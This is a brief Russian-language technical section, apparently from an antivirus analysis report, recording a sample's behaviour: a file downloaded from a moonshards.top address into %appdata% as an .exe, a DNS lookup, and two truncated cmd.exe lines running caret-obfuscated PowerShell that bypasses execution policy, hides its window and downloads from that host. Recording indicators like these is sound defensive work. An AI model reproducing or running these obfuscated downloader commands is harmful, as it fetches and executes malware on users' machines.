Техническая информация
- http://moonshards.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "Powe^r^S^h^ELl.ex^E ^-ExEc^UTio^NpO^LI^cy by^pAs^S -Nop^rO^f^ile -wIN^DO^WSTYl^E H^iDD^e^N (new^-^objec^t ^SYStE^m.^nE^T.webc^LIenT).^doW^nL^oADF^ILE('http://moonshards.top...
- DNS ASK mo###hards.top
- '<SYSTEM32>\cmd.exe' /c "Powe^r^S^h^ELl.ex^E ^-ExEc^UTio^NpO^LI^cy by^pAs^S -Nop^rO^f^ile -wIN^DO^WSTYl^E H^iDD^e^N (new^-^objec^t ^SYStE^m.^nE^T.webc^LIenT).^doW^nL^oADF^ILE('http://moonshards.top...' (со скрытым окном)